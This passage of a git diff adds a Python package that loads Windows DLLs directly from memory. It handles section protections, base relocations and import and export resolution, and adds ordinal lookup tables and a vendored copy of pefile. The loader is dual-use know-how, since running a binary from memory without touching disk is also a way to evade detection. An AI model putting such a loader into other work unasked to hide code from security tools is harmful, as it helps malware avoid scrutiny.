IMAGE_SCN_MEM_READ)) + readable = checkCharacteristic(section, IMAGE_SCN_MEM_READ) + writeable = checkCharacteristic(section, IMAGE_SCN_MEM_WRITE) + self.dbg("write %d",checkCharacteristic(section, IMAGE_SCN_MEM_WRITE)) + + if checkCharacteristic(section, IMAGE_SCN_MEM_DISCARDABLE): + addr = getPhysAddr(section) + VirtualFree(addr, section.contents.SizeOfRawData, MEM_DECOMMIT) + continue + + protect = ProtectionFlags[executable][readable][writeable] + self.dbg("Protection flag:%d",protect) + if checkCharacteristic(section, IMAGE_SCN_MEM_NOT_CACHED): + print("not cached") + protect |= PAGE_NOCACHE + + + size = section.contents.SizeOfRawData + if size == 0: + if checkCharacteristic(section, IMAGE_SCN_CNT_INITIALIZED_DATA): + size = self.pythonmemorymodule.contents.headers.contents.OptionalHeader.SizeOfInitializedData + elif checkCharacteristic(section, IMAGE_SCN_CNT_UNINITIALIZED_DATA): + size = self.pythonmemorymodule.contents.headers.contents.OptionalHeader.SizeOfUninitializedData + if size > 0: + addr = self.sections[i].Misc_PhysicalAddress #getPhysAddr(section) + self.dbg("physaddr:0x%x", addr) + if VirtualProtect(addr, size, protect, byref(oldProtect)) == 0: + raise WindowsError("Error protecting memory page") + sectionaddr += sizeof(IMAGE_SECTION_HEADER) + i += 1 + + + def perform_base_relocations(self, delta): + codeBaseAddr = self._codebaseaddr + directory = self.OPTIONAL_HEADER.DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_BASERELOC] + if directory.Size <= 0: return + relocaddr=codeBaseAddr + directory.VirtualAddress + relocation = IMAGE_BASE_RELOCATION.from_address(relocaddr) + maxreloc = lambda r: (relocation.SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2 + + while relocation.VirtualAddress > 0: + i = 0 + dest = codeBaseAddr + relocation.VirtualAddress + relinfoaddr = relocaddr + IMAGE_SIZEOF_BASE_RELOCATION + while i < maxreloc(relocaddr): + relinfo = c_ushort.from_address(relinfoaddr) + type = relinfo.value >> 12 + offset = relinfo.value & 0xfff + if type == IMAGE_REL_BASED_ABSOLUTE: + self.dbg("Skipping relocation") + elif type == IMAGE_REL_BASED_HIGHLOW or (type == IMAGE_REL_BASED_DIR64 and isx64): + self.dbg("Relocating offset: 0x%x", offset) + patchAddrHL = cast(dest + offset, LP_POINTER_TYPE) + patchAddrHL.contents.value += delta + else: + self.dbg("Unknown relocation at address: 0x%x", relocation) + break + # advancing two bytes at a time in the relocation table + relinfoaddr += 2 + i += 1 + relocaddr += relocation.SizeOfBlock + relocation = IMAGE_BASE_RELOCATION.from_address(relocaddr) + + + def build_import_table(self, dlopen = LoadLibraryW): + codebase = self._codebaseaddr + self.dbg("codebase:0x%x", codebase) + directory = self.OPTIONAL_HEADER.DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_IMPORT] + + if directory.Size <= 0: + self.dbg('Import directory\'s size appears to be zero or less. Skipping.. (Probably not good)') + return + importdescaddr = codebase + directory.VirtualAddress + check = not bool(IsBadReadPtr(importdescaddr, sizeof(IMAGE_IMPORT_DESCRIPTOR))) + if not check: + self.dbg('IsBadReadPtr(address) at address: 0x%x returned true', importdescaddr) + i=0 # index for entry import struct + for i in range(0, len(self.DIRECTORY_ENTRY_IMPORT)): + self.dbg('Found importdesc at address: 0x%x', importdescaddr) + importdesc = directory.VirtualAddress + + # ref: https://sites.google.com/site/peofcns/win32forth/pe-header-f/02-image_directory/02-import_descriptor + entry_struct=self.DIRECTORY_ENTRY_IMPORT[i].struct + entry_imports=self.DIRECTORY_ENTRY_IMPORT[i].imports + dll = self.DIRECTORY_ENTRY_IMPORT[i].dll.decode('utf-8') + if not bool(dll): + self.dbg('Importdesc at address 0x%x name is NULL. Skipping load library', importdescaddr) + hmod = dll + else: + self.dbg('Found imported DLL, %s. Loading..', dll) + hmod = dlopen(dll) + if not bool(hmod): raise WindowsError('Failed to load library, %s' % dll) + result_realloc= realloc( + self.pythonmemorymodule.contents.modules, + (self.pythonmemorymodule.contents.modules._b_base_.numModules + 1) * sizeof(HMODULE) + ) + if not bool(result_realloc): + raise WindowsError('Failed to allocate additional room for our new import.') + self.pythonmemorymodule.contents.modules = cast(result_realloc, type(self.pythonmemorymodule.contents.modules)) + self.pythonmemorymodule.contents.modules[self.pythonmemorymodule.contents.modules._b_base_.numModules] = hmod + self.pythonmemorymodule.contents.modules._b_base_.numModules += 1 + + + thunkrefaddr = funcrefaddr = codebase + entry_struct.FirstThunk + if entry_struct.OriginalFirstThunk > 0: + thunkrefaddr = codebase + entry_struct.OriginalFirstThunk + + for j in range(0, len(entry_imports)): + + funcref = cast(funcrefaddr, PFARPROC) + if entry_imports[j].import_by_ordinal == True: + importordinal= entry_imports[j].ordinal.decode('utf-8') + self.dbg('Found import ordinal entry, %s', cast(importordinal, LPCSTR)) + funcref.contents = GetProcAddress(hmod, importordinal) + else: + importname= entry_imports[j].name.decode('utf-8') + self.dbg('Found import by name entry %s , at address 0x%x', importname, entry_imports[j].address) + address= getprocaddr(hmod, importname.encode()) + if not memmove(funcrefaddr,address.to_bytes(sizeof(LONG_PTR),'little'),sizeof(LONG_PTR)): + raise WindowsError('memmove failed') + self.dbg('Resolved import %s at address 0x%x', importname, address) + if not bool(address): + raise WindowsError('Could not locate function for thunkref %s', importname) + funcrefaddr += sizeof(PFARPROC) + j +=1 + i +=1 + + + def free_library(self): + self.dbg("Freeing dll") + if not bool(self.pythonmemorymodule): return + pmodule = pointer(self.pythonmemorymodule) + if self.pythonmemorymodule.contents.initialized != 0: + DllEntry = DllEntryProc(self.pythonmemorymodule.contents.codeBase + self.pythonmemorymodule.contents.headers.contents.OptionalHeader.AddressOfEntryPoint) + DllEntry(cast(self.pythonmemorymodule.contents.codeBase, HINSTANCE), DLL_PROCESS_DETACH, 0) + pmodule.contents.initialized = 0 + if bool(self.pythonmemorymodule.contents.modules) and self.pythonmemorymodule.contents.numModules > 0: + for i in range(1, self.pythonmemorymodule.contents.numModules): + if self.pythonmemorymodule.contents.modules[i] != HANDLE(INVALID_HANDLE_VALUE): + FreeLibrary(self.pythonmemorymodule.contents.modules[i]) + + if bool(self._codebaseaddr): + VirtualFree(self._codebaseaddr, 0, MEM_RELEASE) + + HeapFree(GetProcessHeap(), 0, self.pythonmemorymodule) + self.close() + + + def _proc_addr_by_ordinal(self, idx): + codebase = self._codebaseaddr + if idx == -1: + raise WindowsError('Could not find the function specified') + elif idx > self._exports_.NumberOfFunctions: + raise WindowsError('Ordinal number higher than our actual count.') + funcoffset = DWORD.from_address(codebase + self._exports_.AddressOfFunctions + (idx * 4)) + return funcoffset.value + + + def _proc_addr_by_name(self, name): + codebase = self._codebaseaddr + exports = self._exports_ + if exports.NumberOfNames == 0: + raise WindowsError('DLL doesn\'t export anything.') + + ordinal = -1 + name = name.lower() + namerefaddr = codebase + exports.AddressOfNames + ordinaladdr = codebase + exports.AddressOfNamesOrdinals + i = 0 + while i < exports.NumberOfNames: + nameref = DWORD.from_address(namerefaddr) + funcname = string_at(codebase + nameref.value).lower() + if funcname.decode() == name: + ordinal = WORD.from_address(ordinaladdr).value + i += 1 + namerefaddr += sizeof(DWORD) + ordinaladdr += sizeof(WORD) + return self._proc_addr_by_ordinal(ordinal) + + def get_proc_addr(self, name_or_ordinal): + codebase = self._codebaseaddr + if not hasattr(self, '_exports_'): + directory = self.OPTIONAL_HEADER.DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT] + # No export table found + if directory.Size <= 0: raise WindowsError('No export table found.') + self._exports_ = IMAGE_EXPORT_DIRECTORY.from_address(codebase + directory.VirtualAddress) + if self._exports_.NumberOfFunctions == 0: + # DLL doesn't export anything + raise WindowsError('DLL doesn\'t export anything.') + targ = type(name_or_ordinal) + if targ in [ str, str, str ]: + name_or_ordinal = str(name_or_ordinal) + procaddr_func = self._proc_addr_by_name + elif targ in [ int, int ]: + name_or_ordinal = int(name_or_ordinal) + procaddr_func = self._proc_addr_by_ordinal + else: + raise TypeError('Don\'t know what to do with name/ordinal of type: %s!' % targ) + + if not name_or_ordinal in self._foffsets_: + self._foffsets_[name_or_ordinal] = procaddr_func(name_or_ordinal) + return FARPROC(codebase + self._foffsets_[name_or_ordinal]) + diff --git a/pythonmemorymodule/ordlookup/__init__.py b/pythonmemorymodule/ordlookup/__init__.py new file mode 100644 index 0000000..8841d74 --- /dev/null +++ b/pythonmemorymodule/ordlookup/__init__.py @@ -0,0 +1,34 @@ +from . import ws2_32 +from . import oleaut32 + +""" +A small module for keeping a database of ordinal to symbol +mappings for DLLs which frequently get linked without symbolic +infoz. +""" + +ords = { + b"ws2_32.dll": ws2_32.ord_names, + b"wsock32.dll": ws2_32.ord_names, + b"oleaut32.dll": oleaut32.ord_names, +} + + +def formatOrdString(ord_val): + return "ord{}".format(ord_val).encode() + + +def ordLookup(libname, ord_val, make_name=False): + """ + Lookup a name for the given ordinal if it's in our + database. + """ + names = ords.get(libname.lower()) + if names is None: + if make_name is True: + return formatOrdString(ord_val) + return None + name = names.get(ord_val) + if name is None: + return formatOrdString(ord_val) + return name diff --git a/pythonmemorymodule/ordlookup/oleaut32.py b/pythonmemorymodule/ordlookup/oleaut32.py new file mode 100644 index 0000000..9b49b1d --- /dev/null +++ b/pythonmemorymodule/ordlookup/oleaut32.py @@ -0,0 +1,400 @@ +ord_names = { + 2: b"SysAllocString", + 3: b"SysReAllocString", + 4: b"SysAllocStringLen", + 5: b"SysReAllocStringLen", + 6: b"SysFreeString", + 7: b"SysStringLen", + 8: b"VariantInit", + 9: b"VariantClear", + 10: b"VariantCopy", + 11: b"VariantCopyInd", + 12: b"VariantChangeType", + 13: b"VariantTimeToDosDateTime", + 14: b"DosDateTimeToVariantTime", + 15: b"SafeArrayCreate", + 16: b"SafeArrayDestroy", + 17: b"SafeArrayGetDim", + 18: b"SafeArrayGetElemsize", + 19: b"SafeArrayGetUBound", + 20: b"SafeArrayGetLBound", + 21: b"SafeArrayLock", + 22: b"SafeArrayUnlock", + 23: b"SafeArrayAccessData", + 24: b"SafeArrayUnaccessData", + 25: b"SafeArrayGetElement", + 26: b"SafeArrayPutElement", + 27: b"SafeArrayCopy", + 28: b"DispGetParam", + 29: b"DispGetIDsOfNames", + 30: b"DispInvoke", + 31: b"CreateDispTypeInfo", + 32: b"CreateStdDispatch", + 33: b"RegisterActiveObject", + 34: b"RevokeActiveObject", + 35: b"GetActiveObject", + 36: b"SafeArrayAllocDescriptor", + 37: b"SafeArrayAllocData", + 38: b"SafeArrayDestroyDescriptor", + 39: b"SafeArrayDestroyData", + 40: b"SafeArrayRedim", + 41: b"SafeArrayAllocDescriptorEx", + 42: b"SafeArrayCreateEx", + 43: b"SafeArrayCreateVectorEx", + 44: b"SafeArraySetRecordInfo", + 45: b"SafeArrayGetRecordInfo", + 46: b"VarParseNumFromStr", + 47: b"VarNumFromParseNum", + 48: b"VarI2FromUI1", + 49: b"VarI2FromI4", + 50: b"VarI2FromR4", + 51: b"VarI2FromR8", + 52: b"VarI2FromCy", + 53: b"VarI2FromDate", + 54: b"VarI2FromStr", + 55: b"VarI2FromDisp", + 56: b"VarI2FromBool", + 57: b"SafeArraySetIID", + 58: b"VarI4FromUI1", + 59: b"VarI4FromI2", + 60: b"VarI4FromR4", + 61: b"VarI4FromR8", + 62: b"VarI4FromCy", + 63: b"VarI4FromDate", + 64: b"VarI4FromStr", + 65: b"VarI4FromDisp", + 66: b"VarI4FromBool", + 67: b"SafeArrayGetIID", + 68: b"VarR4FromUI1", + 69: b"VarR4FromI2", + 70: b"VarR4FromI4", + 71: b"VarR4FromR8", + 72: b"VarR4FromCy", + 73: b"VarR4FromDate", + 74: b"VarR4FromStr", + 75: b"VarR4FromDisp", + 76: b"VarR4FromBool", + 77: b"SafeArrayGetVartype", + 78: b"VarR8FromUI1", + 79: b"VarR8FromI2", + 80: b"VarR8FromI4", + 81: b"VarR8FromR4", + 82: b"VarR8FromCy", + 83: b"VarR8FromDate", + 84: b"VarR8FromStr", + 85: b"VarR8FromDisp", + 86: b"VarR8FromBool", + 87: b"VarFormat", + 88: b"VarDateFromUI1", + 89: b"VarDateFromI2", + 90: b"VarDateFromI4", + 91: b"VarDateFromR4", + 92: b"VarDateFromR8", + 93: b"VarDateFromCy", + 94: b"VarDateFromStr", + 95: b"VarDateFromDisp", + 96: b"VarDateFromBool", + 97: b"VarFormatDateTime", + 98: b"VarCyFromUI1", + 99: b"VarCyFromI2", + 100: b"VarCyFromI4", + 101: b"VarCyFromR4", + 102: b"VarCyFromR8", + 103: b"VarCyFromDate", + 104: b"VarCyFromStr", + 105: b"VarCyFromDisp", + 106: b"VarCyFromBool", + 107: b"VarFormatNumber", + 108: b"VarBstrFromUI1", + 109: b"VarBstrFromI2", + 110: b"VarBstrFromI4", + 111: b"VarBstrFromR4", + 112: b"VarBstrFromR8", + 113: b"VarBstrFromCy", + 114: b"VarBstrFromDate", + 115: b"VarBstrFromDisp", + 116: b"VarBstrFromBool", + 117: b"VarFormatPercent", + 118: b"VarBoolFromUI1", + 119: b"VarBoolFromI2", + 120: b"VarBoolFromI4", + 121: b"VarBoolFromR4", + 122: b"VarBoolFromR8", + 123: b"VarBoolFromDate", + 124: b"VarBoolFromCy", + 125: b"VarBoolFromStr", + 126: b"VarBoolFromDisp", + 127: b"VarFormatCurrency", + 128: b"VarWeekdayName", + 129: b"VarMonthName", + 130: b"VarUI1FromI2", + 131: b"VarUI1FromI4", + 132: b"VarUI1FromR4", + 133: b"VarUI1FromR8", + 134: b"VarUI1FromCy", + 135: b"VarUI1FromDate", + 136: b"VarUI1FromStr", + 137: b"VarUI1FromDisp", + 138: b"VarUI1FromBool", + 139: b"VarFormatFromTokens", + 140: b"VarTokenizeFormatString", + 141: b"VarAdd", + 142: b"VarAnd", + 143: b"VarDiv", + 144: b"DllCanUnloadNow", + 145: b"DllGetClassObject", + 146: b"DispCallFunc", + 147: b"VariantChangeTypeEx", + 148: b"SafeArrayPtrOfIndex", + 149: b"SysStringByteLen", + 150: b"SysAllocStringByteLen", + 151: b"DllRegisterServer", + 152: b"VarEqv", + 153: b"VarIdiv", + 154: b"VarImp", + 155: b"VarMod", + 156: b"VarMul", + 157: b"VarOr", + 158: b"VarPow", + 159: b"VarSub", + 160: b"CreateTypeLib", + 161: b"LoadTypeLib", + 162: b"LoadRegTypeLib", + 163: b"RegisterTypeLib", + 164: b"QueryPathOfRegTypeLib", + 165: b"LHashValOfNameSys", + 166: b"LHashValOfNameSysA", + 167: b"VarXor", + 168: b"VarAbs", + 169: b"VarFix", + 170: b"OaBuildVersion", + 171: b"ClearCustData", + 172: b"VarInt", + 173: b"VarNeg", + 174: b"VarNot", + 175: b"VarRound", + 176: b"VarCmp", + 177: b"VarDecAdd", + 178: b"VarDecDiv", + 179: b"VarDecMul", + 180: b"CreateTypeLib2", + 181: b"VarDecSub", + 182: b"VarDecAbs", + 183: b"LoadTypeLibEx", + 184: b"SystemTimeToVariantTime", + 185: b"VariantTimeToSystemTime", + 186: b"UnRegisterTypeLib", + 187: b"VarDecFix", + 188: b"VarDecInt", + 189: b"VarDecNeg", + 190: b"VarDecFromUI1", + 191: b"VarDecFromI2", + 192: b"VarDecFromI4", + 193: b"VarDecFromR4", + 194: b"VarDecFromR8", + 195: b"VarDecFromDate", + 196: b"VarDecFromCy", + 197: b"VarDecFromStr", + 198: b"VarDecFromDisp", + 199: b"VarDecFromBool", + 200: b"GetErrorInfo", + 201: b"SetErrorInfo", + 202: b"CreateErrorInfo", + 203: b"VarDecRound", + 204: b"VarDecCmp", + 205: b"VarI2FromI1", + 206: b"VarI2FromUI2", + 207: b"VarI2FromUI4", + 208: b"VarI2FromDec", + 209: b"VarI4FromI1", + 210: b"VarI4FromUI2", + 211: b"VarI4FromUI4", + 212: b"VarI4FromDec", + 213: b"VarR4FromI1", + 214: b"VarR4FromUI2", + 215: b"VarR4FromUI4", + 216: b"VarR4FromDec", + 217: b"VarR8FromI1", + 218: b"VarR8FromUI2", + 219: b"VarR8FromUI4", + 220: b"VarR8FromDec", + 221: b"VarDateFromI1", + 222: b"VarDateFromUI2", + 223: b"VarDateFromUI4", + 224: b"VarDateFromDec", + 225: b"VarCyFromI1", + 226: b"VarCyFromUI2", + 227: b"VarCyFromUI4", + 228: b"VarCyFromDec", + 229: b"VarBstrFromI1", + 230: b"VarBstrFromUI2", + 231: b"VarBstrFromUI4", + 232: b"VarBstrFromDec", + 233: b"VarBoolFromI1", + 234: b"VarBoolFromUI2", + 235: b"VarBoolFromUI4", + 236: b"VarBoolFromDec", + 237: b"VarUI1FromI1", + 238: b"VarUI1FromUI2", + 239: b"VarUI1FromUI4", + 240: b"VarUI1FromDec", + 241: b"VarDecFromI1", + 242: b"VarDecFromUI2", + 243: b"VarDecFromUI4", + 244: b"VarI1FromUI1", + 245: b"VarI1FromI2", + 246: b"VarI1FromI4", + 247: b"VarI1FromR4", + 248: b"VarI1FromR8", + 249: b"VarI1FromDate", + 250: b"VarI1FromCy", + 251: b"VarI1FromStr", + 252: b"VarI1FromDisp", + 253: b"VarI1FromBool", + 254: b"VarI1FromUI2", + 255: b"VarI1FromUI4", + 256: b"VarI1FromDec", + 257: b"VarUI2FromUI1", + 258: b"VarUI2FromI2", + 259: b"VarUI2FromI4", + 260: b"VarUI2FromR4", + 261: b"VarUI2FromR8", + 262: b"VarUI2FromDate", + 263: b"VarUI2FromCy", + 264: b"VarUI2FromStr", + 265: b"VarUI2FromDisp", + 266: b"VarUI2FromBool", + 267: b"VarUI2FromI1", + 268: b"VarUI2FromUI4", + 269: b"VarUI2FromDec", + 270: b"VarUI4FromUI1", + 271: b"VarUI4FromI2", + 272: b"VarUI4FromI4", + 273: b"VarUI4FromR4", + 274: b"VarUI4FromR8", + 275: b"VarUI4FromDate", + 276: b"VarUI4FromCy", + 277: b"VarUI4FromStr", + 278: b"VarUI4FromDisp", + 279: b"VarUI4FromBool", + 280: b"VarUI4FromI1", + 281: b"VarUI4FromUI2", + 282: b"VarUI4FromDec", + 283: b"BSTR_UserSize", + 284: b"BSTR_UserMarshal", + 285: b"BSTR_UserUnmarshal", + 286: b"BSTR_UserFree", + 287: b"VARIANT_UserSize", + 288: b"VARIANT_UserMarshal", + 289: b"VARIANT_UserUnmarshal", + 290: b"VARIANT_UserFree", + 291: b"LPSAFEARRAY_UserSize", + 292: b"LPSAFEARRAY_UserMarshal", + 293: b"LPSAFEARRAY_UserUnmarshal", + 294: b"LPSAFEARRAY_UserFree", + 295: b"LPSAFEARRAY_Size", + 296: b"LPSAFEARRAY_Marshal", + 297: b"LPSAFEARRAY_Unmarshal", + 298: b"VarDecCmpR8", + 299: b"VarCyAdd", + 300: b"DllUnregisterServer", + 301: b"OACreateTypeLib2", + 303: b"VarCyMul", + 304: b"VarCyMulI4", + 305: b"VarCySub", + 306: b"VarCyAbs", + 307: b"VarCyFix", + 308: b"VarCyInt", + 309: b"VarCyNeg", + 310: b"VarCyRound", + 311: b"VarCyCmp", + 312: b"VarCyCmpR8", + 313: b"VarBstrCat", + 314: b"VarBstrCmp", + 315: b"VarR8Pow", + 316: b"VarR4CmpR8", + 317: b"VarR8Round", + 318: b"VarCat", + 319: b"VarDateFromUdateEx", + 322: b"GetRecordInfoFromGuids", + 323: b"GetRecordInfoFromTypeInfo", + 325: b"SetVarConversionLocaleSetting", + 326: b"GetVarConversionLocaleSetting", + 327: b"SetOaNoCache", + 329: b"VarCyMulI8", + 330: b"VarDateFromUdate", + 331: b"VarUdateFromDate", + 332: b"GetAltMonthNames", + 333: b"VarI8FromUI1", + 334: b"VarI8FromI2", + 335: b"VarI8FromR4", + 336: b"VarI8FromR8", + 337: b"VarI8FromCy", + 338: b"VarI8FromDate", + 339: b"VarI8FromStr", + 340: b"VarI8FromDisp", + 341: b"VarI8FromBool", + 342: b"VarI8FromI1", + 343: b"VarI8FromUI2", + 344: b"VarI8FromUI4", + 345: b"VarI8FromDec", + 346: b"VarI2FromI8", + 347: b"VarI2FromUI8", + 348: b"VarI4FromI8", + 349: b"VarI4FromUI8", + 360: b"VarR4FromI8", + 361: b"VarR4FromUI8", + 362: b"VarR8FromI8", + 363: b"VarR8FromUI8", + 364: b"VarDateFromI8", + 365: b"VarDateFromUI8", + 366: b"VarCyFromI8", + 367: b"VarCyFromUI8", + 368: b"VarBstrFromI8", + 369: b"VarBstrFromUI8", + 370: b"VarBoolFromI8", + 371: b"VarBoolFromUI8", + 372: b"VarUI1FromI8", + 373: b"VarUI1FromUI8", + 374: b"VarDecFromI8", + 375: b"VarDecFromUI8", + 376: b"VarI1FromI8", + 377: b"VarI1FromUI8", + 378: b"VarUI2FromI8", + 379: b"VarUI2FromUI8", + 401: b"OleLoadPictureEx", + 402: b"OleLoadPictureFileEx", + 411: b"SafeArrayCreateVector", + 412: b"SafeArrayCopyData", + 413: b"VectorFromBstr", + 414: b"BstrFromVector", + 415: b"OleIconToCursor", + 416: b"OleCreatePropertyFrameIndirect", + 417: b"OleCreatePropertyFrame", + 418: b"OleLoadPicture", + 419: b"OleCreatePictureIndirect", + 420: b"OleCreateFontIndirect", + 421: b"OleTranslateColor", + 422: b"OleLoadPictureFile", + 423: b"OleSavePictureFile", + 424: b"OleLoadPicturePath", + 425: b"VarUI4FromI8", + 426: b"VarUI4FromUI8", + 427: b"VarI8FromUI8", + 428: b"VarUI8FromI8", + 429: b"VarUI8FromUI1", + 430: b"VarUI8FromI2", + 431: b"VarUI8FromR4", + 432: b"VarUI8FromR8", + 433: b"VarUI8FromCy", + 434: b"VarUI8FromDate", + 435: b"VarUI8FromStr", + 436: b"VarUI8FromDisp", + 437: b"VarUI8FromBool", + 438: b"VarUI8FromI1", + 439: b"VarUI8FromUI2", + 440: b"VarUI8FromUI4", + 441: b"VarUI8FromDec", + 442: b"RegisterTypeLibForUser", + 443: b"UnRegisterTypeLibForUser", +} diff --git a/pythonmemorymodule/ordlookup/ws2_32.py b/pythonmemorymodule/ordlookup/ws2_32.py new file mode 100644 index 0000000..a655e0d --- /dev/null +++ b/pythonmemorymodule/ordlookup/ws2_32.py @@ -0,0 +1,119 @@ +ord_names = { + 1: b"accept", + 2: b"bind", + 3: b"closesocket", + 4: b"connect", + 5: b"getpeername", + 6: b"getsockname", + 7: b"getsockopt", + 8: b"htonl", + 9: b"htons", + 10: b"ioctlsocket", + 11: b"inet_addr", + 12: b"inet_ntoa", + 13: b"listen", + 14: b"ntohl", + 15: b"ntohs", + 16: b"recv", + 17: b"recvfrom", + 18: b"select", + 19: b"send", + 20: b"sendto", + 21: b"setsockopt", + 22: b"shutdown", + 23: b"socket", + 24: b"GetAddrInfoW", + 25: b"GetNameInfoW", + 26: b"WSApSetPostRoutine", + 27: b"FreeAddrInfoW", + 28: b"WPUCompleteOverlappedRequest", + 29: b"WSAAccept", + 30: b"WSAAddressToStringA", + 31: b"WSAAddressToStringW", + 32: b"WSACloseEvent", + 33: b"WSAConnect", + 34: b"WSACreateEvent", + 35: b"WSADuplicateSocketA", + 36: b"WSADuplicateSocketW", + 37: b"WSAEnumNameSpaceProvidersA", + 38: b"WSAEnumNameSpaceProvidersW", + 39: b"WSAEnumNetworkEvents", + 40: b"WSAEnumProtocolsA", + 41: b"WSAEnumProtocolsW", + 42: b"WSAEventSelect", + 43: b"WSAGetOverlappedResult", + 44: b"WSAGetQOSByName", + 45: b"WSAGetServiceClassInfoA", + 46: b"WSAGetServiceClassInfoW", + 47: b"WSAGetServiceClassNameByClassIdA", + 48: b"WSAGetServiceClassNameByClassIdW", + 49: b"WSAHtonl", + 50: b"WSAHtons", + 51: b"gethostbyaddr", + 52: b"gethostbyname", + 53: b"getprotobyname", + 54: b"getprotobynumber", + 55: b"getservbyname", + 56: b"getservbyport", + 57: b"gethostname", + 58: b"WSAInstallServiceClassA", + 59: b"WSAInstallServiceClassW", + 60: b"WSAIoctl", + 61: b"WSAJoinLeaf", + 62: b"WSALookupServiceBeginA", + 63: b"WSALookupServiceBeginW", + 64: b"WSALookupServiceEnd", + 65: b"WSALookupServiceNextA", + 66: b"WSALookupServiceNextW", + 67: b"WSANSPIoctl", + 68: b"WSANtohl", + 69: b"WSANtohs", + 70: b"WSAProviderConfigChange", + 71: b"WSARecv", + 72: b"WSARecvDisconnect", + 73: b"WSARecvFrom", + 74: b"WSARemoveServiceClass", + 75: b"WSAResetEvent", + 76: b"WSASend", + 77: b"WSASendDisconnect", + 78: b"WSASendTo", + 79: b"WSASetEvent", + 80: b"WSASetServiceA", + 81: b"WSASetServiceW", + 82: b"WSASocketA", + 83: b"WSASocketW", + 84: b"WSAStringToAddressA", + 85: b"WSAStringToAddressW", + 86: b"WSAWaitForMultipleEvents", + 87: b"WSCDeinstallProvider", + 88: b"WSCEnableNSProvider", + 89: b"WSCEnumProtocols", + 90: b"WSCGetProviderPath", + 91: b"WSCInstallNameSpace", + 92: b"WSCInstallProvider", + 93: b"WSCUnInstallNameSpace", + 94: b"WSCUpdateProvider", + 95: b"WSCWriteNameSpaceOrder", + 96: b"WSCWriteProviderOrder", + 97: b"freeaddrinfo", + 98: b"getaddrinfo", + 99: b"getnameinfo", + 101: b"WSAAsyncSelect", + 102: b"WSAAsyncGetHostByAddr", + 103: b"WSAAsyncGetHostByName", + 104: b"WSAAsyncGetProtoByNumber", + 105: b"WSAAsyncGetProtoByName", + 106: b"WSAAsyncGetServByPort", + 107: b"WSAAsyncGetServByName", + 108: b"WSACancelAsyncRequest", + 109: b"WSASetBlockingHook", + 110: b"WSAUnhookBlockingHook", + 111: b"WSAGetLastError", + 112: b"WSASetLastError", + 113: b"WSACancelBlockingCall", + 114: b"WSAIsBlocking", + 115: b"WSAStartup", + 116: b"WSACleanup", + 151: b"__WSAFDIsSet", + 500: b"WEP", +} diff --git a/pythonmemorymodule/pefile.py b/pythonmemorymodule/pefile.py new file mode 100644 index 0000000..1665ade --- /dev/null +++ b/pythonmemorymodule/pefile.py @@ -0,0 +1,7437 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +"""pefile, Portable Executable reader module + +All the PE file basic structures are available with their default names as +attributes of the instance returned. + +Processed elements such as the import table are made available with lowercase +names, to differentiate them from the upper case basic structure names. + +pefile has been tested against many edge cases such as corrupted and malformed +PEs as well as malware, which often attempts to abuse the format way beyond its +standard use. To the best of my knowledge most of the abuse is handled +gracefully. + +Copyright (c) 2005-2022 Ero Carrera +""" + +__author__ = "Ero Carrera" +__version__ = "2022.5.30" +__contact__ = "ero.carrera@gmail.com" + +import collections +import os +import struct +import codecs +import time +import math +import string +import mmap + +from collections import Counter +from hashlib import sha1 +from hashlib import sha256 +from hashlib import sha512 +from hashlib import md5 + +import functools +import copy as copymod + +import pythonmemorymodule.ordlookup + +codecs.register_error("backslashreplace_", codecs.lookup_error("backslashreplace")) + +long = int +# lru_cache with a shallow copy of the objects returned (list, dicts, ..) +# we don't use deepcopy as it's _really_ slow and the data we retrieved using +# this is enough with copy.copy taken from +# https://stackoverflow.com/questions/54909357 +def lru_cache(maxsize=128, typed=False, copy=False): + if not copy: + return functools.lru_cache(maxsize, typed) + + def decorator(f): + cached_func = functools.lru_cache(maxsize, typed)(f) + + @functools.wraps(f) + def wrapper(*args, **kwargs): + # return copymod.deepcopy(cached_func(*args, **kwargs)) + return copymod.copy(cached_func(*args, **kwargs)) + + return wrapper + + return decorator + + +@lru_cache(maxsize=2048) +def cache_adjust_FileAlignment(val, file_alignment): + if file_alignment < FILE_ALIGNMENT_HARDCODED_VALUE: + return val + return (int(val / 0x200)) * 0x200 + + +@lru_cache(maxsize=2048) +def cache_adjust_SectionAlignment(val, section_alignment, file_alignment): + if section_alignment < 0x1000: # page size + section_alignment = file_alignment + + # 0x200 is the minimum valid FileAlignment according to the documentation + # although ntoskrnl.exe has an alignment of 0x80 in some Windows versions + # + # elif section_alignment < 0x80: + # section_alignment = 0x80 + + if section_alignment and val % section_alignment: + return section_alignment * (int(val / section_alignment)) + return val + + +def count_zeroes(data): + return data.count(0) + + +fast_load = False + +# This will set a maximum length of a string to be retrieved from the file. +# It's there to prevent loading massive amounts of data from memory mapped +# files. Strings longer than 1MB should be rather rare. +MAX_STRING_LENGTH = 0x100000 # 2^20 + +# Maximum number of imports to parse. +MAX_IMPORT_SYMBOLS = 0x2000 + +# Limit maximum length for specific string types separately +MAX_IMPORT_NAME_LENGTH = 0x200 +MAX_DLL_LENGTH = 0x200 +MAX_SYMBOL_NAME_LENGTH = 0x200 + +# Lmit maximum number of sections before processing of sections will stop +MAX_SECTIONS = 0x800 + +# The global maximum number of resource entries to parse per file +MAX_RESOURCE_ENTRIES = 0x8000 + +# The maximum depth of nested resource tables +MAX_RESOURCE_DEPTH = 32 + +# Limit number of exported symbols +MAX_SYMBOL_EXPORT_COUNT = 0x2000 + +IMAGE_DOS_SIGNATURE = 0x5A4D +IMAGE_DOSZM_SIGNATURE = 0x4D5A +IMAGE_NE_SIGNATURE = 0x454E +IMAGE_LE_SIGNATURE = 0x454C +IMAGE_LX_SIGNATURE = 0x584C +IMAGE_TE_SIGNATURE = 0x5A56 # Terse Executables have a 'VZ' signature + +IMAGE_NT_SIGNATURE = 0x00004550 +IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 +IMAGE_ORDINAL_FLAG = 0x80000000 +IMAGE_ORDINAL_FLAG64 = 0x8000000000000000 +OPTIONAL_HEADER_MAGIC_PE = 0x10B +OPTIONAL_HEADER_MAGIC_PE_PLUS = 0x20B + + +def two_way_dict(pairs): + return dict([(e[1], e[0]) for e in pairs] + pairs) + + +directory_entry_types = [ + ("IMAGE_DIRECTORY_ENTRY_EXPORT", 0), + ("IMAGE_DIRECTORY_ENTRY_IMPORT", 1), + ("IMAGE_DIRECTORY_ENTRY_RESOURCE", 2), + 